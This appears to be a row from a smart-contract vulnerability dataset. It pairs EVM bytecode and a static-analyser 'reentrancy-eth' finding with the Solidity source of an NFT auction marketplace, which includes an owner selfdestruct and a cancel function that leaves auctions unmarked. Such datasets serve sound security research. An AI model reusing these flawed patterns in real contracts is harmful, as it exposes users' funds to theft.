11d4f476120ba565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611eaf5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611eae5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611ebd5760009050612044565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f685750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f8057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561202b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561204357600a54600c81905550600b54600d819055505b5b612050848484846124a9565b50505050565b600083831115829061209e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120959190613302565b60405180910390fd5b50600083856120ad91906136fb565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61210a6002846124d690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612135573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121866002846124d690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121b1573d6000803e3d6000fd5b5050565b60006006548211156121fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f390613364565b60405180910390fd5b6000612206612520565b905061221b81846124d690919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561225a57612259613906565b5b6040519080825280602002602001820160405280156122885781602001602082028036833780820191505090505b50905030816000815181106122a05761229f6138d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561234257600080fd5b505afa158015612356573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061237a9190612d45565b8160018151811061238e5761238d6138d7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123f530601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611606565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124599594939291906134ff565b600060405180830381600087803b15801561247357600080fd5b505af1158015612487573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124b7576124b661254b565b5b6124c284848461258e565b806124d0576124cf612759565b5b50505050565b600061251883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061276d565b905092915050565b600080600061252d6127d0565b9150915061254481836124d690919063ffffffff16565b9250505090565b6000600c5414801561255f57506000600d54145b156125695761258c565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806125a08761282f565b9550955095509550955095506125fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461289790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061269385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126df8161293f565b6126e984836129fc565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161274691906134e4565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906127b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ab9190613302565b60405180910390fd5b50600083856127c39190613670565b9050809150509392505050565b60008060006006549050600067016345785d8a0000905061280467016345785d8a00006006546124d690919063ffffffff16565b8210156128225760065467016345785d8a000093509350505061282b565b81819350935050505b9091565b600080600080600080600080600061284c8a600c54600d54612a36565b925092509250600061285c612520565b9050600080600061286f8e878787612acc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612056565b905092915050565b60008082846128f0919061361a565b905083811015612935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292c90613404565b60405180910390fd5b8091505092915050565b6000612949612520565b905060006129608284612b5590919063ffffffff16565b90506129b481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128e190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a118260065461289790919063ffffffff16565b600681905550612a2c816007546128e190919063ffffffff16565b6007819055505050565b600080600080612a626064612a54888a612b5590919063ffffffff16565b6124d690919063ffffffff16565b90506000612a8c6064612a7e888b612b5590919063ffffffff16565b6124d690919063ffffffff16565b90506000612ab582612aa7858c61289790919063ffffffff16565b61289790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ae58589612b5590919063ffffffff16565b90506000612afc8689612b5590919063ffffffff16565b90506000612b138789612b5590919063ffffffff16565b90506000612b3c82612b2e858761289790919063ffffffff16565b61289790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b685760009050612bca565b60008284612b7691906136a1565b9050828482612b859190613670565b14612bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bbc90613424565b60405180910390fd5b809150505b92915050565b6000612be3612bde84613599565b613574565b90508083825260208201905082856020860282011115612c0657612c0561393f565b5b60005b85811015612c365781612c1c8882612c40565b845260208401935060208301925050600181019050612c09565b5050509392505050565b600081359050612c4f81613d3f565b92915050565b600081519050612c6481613d3f565b92915050565b60008083601f840112612c8057612c7f61393a565b5b8235905067ffffffffffffffff811115612c9d57612c9c613935565b5b602083019150836020820283011115612cb957612cb861393f565b5b9250929050565b600082601f830112612cd557612cd461393a565b5b8135612ce5848260208601612bd0565b91505092915050565b600081359050612cfd81613d56565b92915050565b600081359050612d1281613d6d565b92915050565b600060208284031215612d2e57612d2d613949565b5b6000612d3c84828501612c40565b91505092915050565b600060208284031215612d5b57612d5a613949565b5b6000612d6984828501612c55565b91505092915050565b60008060408385031215612d8957612d88613949565b5b6000612d9785828601612c40565b9250506020612da885828601612c40565b9150509250929050565b600080600060608486031215612dcb57612dca613949565b5b6000612dd986828701612c40565b9350506020612dea86828701612c40565b9250506040612dfb86828701612d03565b9150509250925092565b60008060408385031215612e1c57612e1b613949565b5b6000612e2a85828601612c40565b9250506020612e3b85828601612d03565b9150509250929050565b600080600060408486031215612e5e57612e5d613949565b5b600084013567ffffffffffffffff811115612e7c57612e7b613944565b5b612e8886828701612c6a565b93509350506020612e9b86828701612cee565b9150509250925092565b600060208284031215612ebb57612eba613949565b5b600082013567ffffffffffffffff811115612ed957612ed8613944565b5b612ee584828501612cc0565b91505092915050565b600060208284031215612f0457612f03613949565b5b6000612f1284828501612cee565b91505092915050565b600060208284031215612f3157612f30613949565b5b6000612f3f84828501612d03565b91505092915050565b60008060008060808587031215612f6257612f61613949565b5b6000612f7087828801612d03565b9450506020612f8187828801612d03565b9350506040612f9287828801612d03565b9250506060612fa387828801612d03565b91505092959194509250565b6000612fbb8383612fc7565b60208301905092915050565b612fd08161372f565b82525050565b612fdf8161372f565b82525050565b6000612ff0826135d5565b612ffa81856135f8565b9350613005836135c5565b8060005b8381101561303657815161301d8882612faf565b9750613028836135eb565b925050600181019050613009565b5085935050505092915050565b61304c81613741565b82525050565b61305b81613784565b82525050565b61306a81613796565b82525050565b600061307b826135e0565b6130858185613609565b93506130958185602086016137cc565b61309e8161394e565b840191505092915050565b60006130b6602383613609565b91506130c18261395f565b604082019050919050565b60006130d9603f83613609565b91506130e4826139ae565b604082019050919050565b60006130fc602a83613609565b9150613107826139fd565b604082019050919050565b600061311f601c83613609565b915061312a82613a4c565b602082019050919050565b6000613142602683613609565b915061314d82613a75565b604082019050919050565b6000613165602283613609565b915061317082613ac4565b604082019050919050565b6000613188602383613609565b915061319382613b13565b604082019050919050565b60006131ab601b83613609565b91506131b682613b62565b602082019050919050565b60006131ce602183613609565b91506131d982613b8b565b604082019050919050565b60006131f1602083613609565b91506131fc82613bda565b602082019050919050565b6000613214602983613609565b915061321f82613c03565b604082019050919050565b6000613237602583613609565b915061324282613c52565b604082019050919050565b600061325a602383613609565b915061326582613ca1565b604082019050919050565b600061327d602483613609565b915061328882613cf0565b604082019050919050565b61329c8161376d565b82525050565b6132ab81613777565b82525050565b60006020820190506132c66000830184612fd6565b92915050565b60006020820190506132e16000830184613043565b92915050565b60006020820190506132fc6000830184613052565b92915050565b6000602082019050818103600083015261331c8184613070565b905092915050565b6000602082019050818103600083015261333d816130a9565b9050919050565b6000602082019050818103600083015261335d816130cc565b9050919050565b6000602082019050818103600083015261337d816130ef565b9050919050565b6000602082019050818103600083015261339d81613112565b9050919050565b600060208201905081810360008301526133bd81613135565b9050919050565b600060208201905081810360008301526133dd81613158565b9050919050565b600060208201905081810360008301526133fd8161317b565b9050919050565b6000602082019050818103600083015261341d8161319e565b9050919050565b6000602082019050818103600083015261343d816131c1565b9050919050565b6000602082019050818103600083015261345d816131e4565b9050919050565b6000602082019050818103600083015261347d81613207565b9050919050565b6000602082019050818103600083015261349d8161322a565b9050919050565b600060208201905081810360008301526134bd8161324d565b9050919050565b600060208201905081810360008301526134dd81613270565b9050919050565b60006020820190506134f96000830184613293565b92915050565b600060a0820190506135146000830188613293565b6135216020830187613061565b81810360408301526135338186612fe5565b90506135426060830185612fd6565b61354f6080830184613293565b9695505050505050565b600060208201905061356e60008301846132a2565b92915050565b600061357e61358f565b905061358a82826137ff565b919050565b6000604051905090565b600067ffffffffffffffff8211156135b4576135b3613906565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136258261376d565b91506136308361376d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561366557613664613879565b5b828201905092915050565b600061367b8261376d565b91506136868361376d565b925082613696576136956138a8565b5b828204905092915050565b60006136ac8261376d565b91506136b78361376d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136f0576136ef613879565b5b828202905092915050565b60006137068261376d565b91506137118361376d565b92508282101561372457613723613879565b5b828203905092915050565b600061373a8261374d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061378f826137a8565b9050919050565b60006137a18261376d565b9050919050565b60006137b3826137ba565b9050919050565b60006137c58261374d565b9050919050565b60005b838110156137ea5780820151818401526020810190506137cf565b838111156137f9576000848401525b50505050565b6138088261394e565b810181811067ffffffffffffffff8211171561382757613826613906565b5b80604052505050565b600061383b8261376d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561386e5761386d613879565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d488161372f565b8114613d5357600080fd5b50565b613d5f81613741565b8114613d6a57600080fd5b50565b613d768161376d565b8114613d8157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cf77ddd414d359e7a87c41fa7f0ff78ab25552114e9fcc278d461dad39999b064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,933 |
0xf31957ce9d9c9a30c9f3ed658b1ca8f29380d969 | pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Interface {
//ERC721
function balanceOf(address owner) public view returns (uint256 _balance);
function ownerOf(uint256 tokenID) public view returns (address owner);
function transfer(address to, uint256 tokenID) public returns (bool);
function approve(address to, uint256 tokenID) public returns (bool);
function takeOwnership(uint256 tokenID) public;
function totalSupply() public view returns (uint);
function owns(address owner, uint256 tokenID) public view returns (bool);
function allowance(address claimant, uint256 tokenID) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenID) public returns (bool);
function createLand(address owner) external returns (uint);
}
contract ERC20 {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
mapping(address => bool) admins;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdmin(address indexed admin);
event DelAdmin(address indexed admin);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
function addAdmin(address _adminAddress) external onlyOwner {
require(_adminAddress != address(0));
admins[_adminAddress] = true;
emit AddAdmin(_adminAddress);
}
function delAdmin(address _adminAddress) external onlyOwner {
require(admins[_adminAddress]);
admins[_adminAddress] = false;
emit DelAdmin(_adminAddress);
}
function isAdmin(address _adminAddress) public view returns (bool) {
return admins[_adminAddress];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface NewAuctionContract {
function receiveAuction(address _token, uint _tokenId, uint _startPrice, uint _stopTime) external returns (bool);
}
contract ArconaMarketplaceContract is Ownable {
using SafeMath for uint;
ERC20 public arconaToken;
struct Auction {
address owner;
address token;
uint tokenId;
uint startPrice;
uint stopTime;
address winner;
uint executeTime;
uint finalPrice;
bool executed;
bool exists;
}
mapping(address => bool) public acceptedTokens;
mapping(address => bool) public whiteList;
mapping (address => bool) public users;
mapping(uint256 => Auction) public auctions;
//token => token_id = auction id
mapping (address => mapping (uint => uint)) public auctionIndex;
mapping(address => uint256[]) private ownedAuctions;
uint private lastAuctionId;
uint defaultExecuteTime = 24 hours;
uint public auctionFee = 300; //3%
uint public gasInTokens = 1000000000000000000;
uint public minDuration = 1;
uint public maxDuration = 20160;
address public profitAddress;
event ReceiveCreateAuction(address from, uint tokenId, address token);
event AddAcceptedToken(address indexed token);
event DelAcceptedToken(address indexed token);
event AddWhiteList(address indexed addr);
event DelWhiteList(address indexed addr);
event NewAuction(address indexed owner, uint tokenId, uint auctionId);
event AddUser(address indexed user);
event GetToken(uint auctionId, address winner);
event SetWinner(address winner, uint auctionId, uint finalPrice, uint executeTime);
event CancelAuction(uint auctionId);
event RestartAuction(uint auctionId);
constructor(address _token, address _profitAddress) public {
arconaToken = ERC20(_token);
profitAddress = _profitAddress;
}
function() public payable {
if (!users[msg.sender]) {
users[msg.sender] = true;
emit AddUser(msg.sender);
}
}
function receiveCreateAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(_from, _token, _tokenId, _startPrice, _duration);
emit ReceiveCreateAuction(_from, _tokenId, _token);
return true;
}
function createAuction(address _token, uint _tokenId, uint _startPrice, uint _duration) external returns (bool) {
require(isAcceptedToken(_token));
require(_duration >= minDuration && _duration <= maxDuration);
_createAuction(msg.sender, _token, _tokenId, _startPrice, _duration);
return true;
}
function _createAuction(address _from, address _token, uint _tokenId, uint _startPrice, uint _duration) internal returns (uint) {
require(ERC721Interface(_token).transferFrom(_from, this, _tokenId));
auctions[++lastAuctionId] = Auction({
owner : _from,
token : _token,
tokenId : _tokenId,
startPrice : _startPrice,
//startTime : now,
stopTime : now + (_duration * 1 minutes),
winner : address(0),
executeTime : now + (_duration * 1 minutes) + defaultExecuteTime,
finalPrice : 0,
executed : false,
exists: true
});
auctionIndex[_token][_tokenId] = lastAuctionId;
ownedAuctions[_from].push(lastAuctionId);
emit NewAuction(_from, _tokenId, lastAuctionId);
return lastAuctionId;
}
function setWinner(address _winner, uint _auctionId, uint _finalPrice, uint _executeTime) onlyAdmin external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now > auctions[_auctionId].stopTime);
//require(auctions[_auctionId].winner == address(0));
require(_finalPrice >= auctions[_auctionId].startPrice);
auctions[_auctionId].winner = _winner;
auctions[_auctionId].finalPrice = _finalPrice;
if (_executeTime > 0) {
auctions[_auctionId].executeTime = now + (_executeTime * 1 minutes);
}
emit SetWinner(_winner, _auctionId, _finalPrice, _executeTime);
}
function getToken(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(now <= auctions[_auctionId].executeTime);
require(msg.sender == auctions[_auctionId].winner);
uint fullPrice = auctions[_auctionId].finalPrice;
require(arconaToken.transferFrom(msg.sender, this, fullPrice));
if (!inWhiteList(msg.sender)) {
uint fee = valueFromPercent(fullPrice, auctionFee);
fullPrice = fullPrice.sub(fee).sub(gasInTokens);
}
arconaToken.transfer(auctions[_auctionId].owner, fullPrice);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].winner, auctions[_auctionId].tokenId));
auctions[_auctionId].executed = true;
emit GetToken(_auctionId, msg.sender);
}
function cancelAuction(uint _auctionId) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).transfer(auctions[_auctionId].owner, auctions[_auctionId].tokenId));
emit CancelAuction(_auctionId);
}
function restartAuction(uint _auctionId, uint _startPrice, uint _duration) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
auctions[_auctionId].startPrice = _startPrice;
auctions[_auctionId].stopTime = now + (_duration * 1 minutes);
auctions[_auctionId].executeTime = now + (_duration * 1 minutes) + defaultExecuteTime;
emit RestartAuction(_auctionId);
}
function migrateAuction(uint _auctionId, address _newAuction) external {
require(auctions[_auctionId].exists);
require(!auctions[_auctionId].executed);
require(msg.sender == auctions[_auctionId].owner);
require(now > auctions[_auctionId].executeTime);
require(ERC721Interface(auctions[_auctionId].token).approve(_newAuction, auctions[_auctionId].tokenId));
require(NewAuctionContract(_newAuction).receiveAuction(
auctions[_auctionId].token,
auctions[_auctionId].tokenId,
auctions[_auctionId].startPrice,
auctions[_auctionId].stopTime
));
}
function ownerAuctionCount(address _owner) external view returns (uint256) {
return ownedAuctions[_owner].length;
}
function auctionsOf(address _owner) external view returns (uint256[]) {
return ownedAuctions[_owner];
}
function addAcceptedToken(address _token) onlyAdmin external {
require(_token != address(0));
acceptedTokens[_token] = true;
emit AddAcceptedToken(_token);
}
function delAcceptedToken(address _token) onlyAdmin external {
require(acceptedTokens[_token]);
acceptedTokens[_token] = false;
emit DelAcceptedToken(_token);
}
function addWhiteList(address _address) onlyAdmin external {
require(_address != address(0));
whiteList[_address] = true;
emit AddWhiteList(_address);
}
function delWhiteList(address _address) onlyAdmin external {
require(whiteList[_address]);
whiteList[_address] = false;
emit DelWhiteList(_address);
}
function setDefaultExecuteTime(uint _hours) onlyAdmin external {
defaultExecuteTime = _hours * 1 hours;
}
function setAuctionFee(uint _fee) onlyAdmin external {
auctionFee = _fee;
}
function setGasInTokens(uint _gasInTokens) onlyAdmin external {
gasInTokens = _gasInTokens;
}
function setMinDuration(uint _minDuration) onlyAdmin external {
minDuration = _minDuration;
}
function setMaxDuration(uint _maxDuration) onlyAdmin external {
maxDuration = _maxDuration;
}
function setProfitAddress(address _profitAddress) onlyOwner external {
require(_profitAddress != address(0));
profitAddress = _profitAddress;
}
function isAcceptedToken(address _token) public view returns (bool) {
return acceptedTokens[_token];
}
function inWhiteList(address _address) public view returns (bool) {
return whiteList[_address];
}
function withdrawTokens() onlyAdmin public {
require(arconaToken.balanceOf(this) > 0);
arconaToken.transfer(profitAddress, arconaToken.balanceOf(this));
}
//1% - 100, 10% - 1000 50% - 5000
function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) {
uint _amount = _value.mul(_percent).div(10000);
return (_amount);
}
function destruct() onlyOwner public {
selfdestruct(owner);
}
} | 0x6080604052600436106101e25763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663100a0ed1811461023e578063123702e21461028257806314525b6b146102b35780631674bade146102da5780631a9aa710146102f25780631da835501461031357806324d7806c1461033d57806329d592bf1461035e5780632b68b9c61461037357806333a87ade14610388578063372c12b11461039d5780633b6e750f146103be5780633eee83f1146103df57806345262b05146104005780635671576114610418578063571a26a01461042d578063605e5ee1146104ad57806361beb1d7146104ce57806362d91855146104f857806369e0e346146105195780636db5c8fd1461053a578063704802751461054f5780638059382a14610570578063810869181461058857806382cf114c146105a957806382dc4a05146105ca5780638d8f2adb146105eb5780638da5cb5b1461060057806396b5a75514610615578063a87430ba1461062d578063c70fe6bd1461064e578063c824a22214610672578063cf0f34c4146106e3578063e1d2f649146106fb578063e4b50cb814610719578063e7cd4a0414610731578063eba39dab14610752578063f2fde38b14610776578063f59e754c14610797575b3360009081526005602052604090205460ff16151561023c5733600081815260056020526040808220805460ff19166001179055517f93e8ef53fa1762269961bdc02811e560fa10787f7f2f9c13f74ddad8221614d29190a25b005b34801561024a57600080fd5b5061026e600160a060020a03600435811690602435166044356064356084356107af565b604080519115158252519081900360200190f35b34801561028e57600080fd5b50610297610848565b60408051600160a060020a039092168252519081900360200190f35b3480156102bf57600080fd5b506102c8610857565b60408051918252519081900360200190f35b3480156102e657600080fd5b5061023c60043561085d565b3480156102fe57600080fd5b506102c8600160a060020a0360043516610876565b34801561031f57600080fd5b5061023c600160a060020a0360043516602435604435606435610891565b34801561034957600080fd5b5061026e600160a060020a03600435166109da565b34801561036a57600080fd5b506102976109f8565b34801561037f57600080fd5b5061023c610a07565b34801561039457600080fd5b506102c8610a2c565b3480156103a957600080fd5b5061026e600160a060020a0360043516610a32565b3480156103ca57600080fd5b5061026e600160a060020a0360043516610a47565b3480156103eb57600080fd5b5061023c600160a060020a0360043516610a65565b34801561040c57600080fd5b5061023c600435610ada565b34801561042457600080fd5b506102c8610af7565b34801561043957600080fd5b50610445600435610afd565b60408051600160a060020a039b8c168152998b1660208b015289810198909852606089019690965260808801949094529190961660a086015260c085019590955260e08401949094529215156101008301529115156101208201529051908190036101400190f35b3480156104b957600080fd5b5061023c600160a060020a0360043516610b64565b3480156104da57600080fd5b5061026e600160a060020a0360043516602435604435606435610be8565b34801561050457600080fd5b5061023c600160a060020a0360043516610c36565b34801561052557600080fd5b5061026e600160a060020a0360043516610cbd565b34801561054657600080fd5b506102c8610cdb565b34801561055b57600080fd5b5061023c600160a060020a0360043516610ce1565b34801561057c57600080fd5b5061023c600435610d5c565b34801561059457600080fd5b5061023c600160a060020a0360043516610d75565b3480156105b557600080fd5b5061023c600160a060020a0360043516610df9565b3480156105d657600080fd5b5061026e600160a060020a0360043516610e54565b3480156105f757600080fd5b5061023c610e69565b34801561060c57600080fd5b5061029761104b565b34801561062157600080fd5b5061023c60043561105a565b34801561063957600080fd5b5061026e600160a060020a03600435166111d2565b34801561065a57600080fd5b5061023c600435600160a060020a03602435166111e7565b34801561067e57600080fd5b50610693600160a060020a03600435166113fa565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156106cf5781810151838201526020016106b7565b505050509050019250505060405180910390f35b3480156106ef57600080fd5b5061023c600435611466565b34801561070757600080fd5b5061023c60043560243560443561147f565b34801561072557600080fd5b5061023c60043561156a565b34801561073d57600080fd5b5061023c600160a060020a03600435166118b9565b34801561075e57600080fd5b506102c8600160a060020a036004351660243561192e565b34801561078257600080fd5b5061023c600160a060020a036004351661194b565b3480156107a357600080fd5b5061023c6004356119df565b60006107ba85610a47565b15156107c557600080fd5b600d5482101580156107d95750600e548211155b15156107e457600080fd5b6107f186868686866119f8565b5060408051600160a060020a0380891682526020820187905287168183015290517f52cf95338051277639fa0945f1014440443e26a47d16f0ccfd0f11c543b574969181900360600190a150600195945050505050565b600f54600160a060020a031681565b600b5481565b610866336109da565b151561087157600080fd5b600d55565b600160a060020a031660009081526008602052604090205490565b61089a336109da565b15156108a557600080fd5b600083815260066020526040902060080154610100900460ff1615156108ca57600080fd5b60008381526006602052604090206008015460ff16156108e957600080fd5b600083815260066020526040902060040154421161090657600080fd5b60008381526006602052604090206003015482101561092457600080fd5b600083815260066020526040812060058101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03881617905560070183905581111561098457600083815260066020819052604090912042603c8402019101555b60408051600160a060020a0386168152602081018590528082018490526060810183905290517f6df7f1ac1af0d9df17b3f57818b7c7fb72d75e2acdbf61fca4bc5971619823ce9181900360800190a150505050565b600160a060020a031660009081526001602052604090205460ff1690565b600254600160a060020a031681565b600054600160a060020a03163314610a1e57600080fd5b600054600160a060020a0316ff5b600c5481565b60046020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b610a6e336109da565b1515610a7957600080fd5b600160a060020a0381161515610a8e57600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517f8d12536a26e1c757d393b039469ce97499ed4a5c39f067cd950f9295a269061b9190a250565b610ae3336109da565b1515610aee57600080fd5b610e1002600a55565b600d5481565b6006602081905260009182526040909120805460018201546002830154600384015460048501546005860154968601546007870154600890970154600160a060020a0396871698958716979496939592949390921692909160ff808216916101009004168a565b610b6d336109da565b1515610b7857600080fd5b600160a060020a03811660009081526004602052604090205460ff161515610b9f57600080fd5b600160a060020a038116600081815260046020526040808220805460ff19169055517f4be8d593c63e0ba664ad9b6f5158c6dbb2553758fbeb4e947d2e0fb93e34c0ab9190a250565b6000610bf385610a47565b1515610bfe57600080fd5b600d548210158015610c125750600e548211155b1515610c1d57600080fd5b610c2a33868686866119f8565b50600195945050505050565b600054600160a060020a03163314610c4d57600080fd5b600160a060020a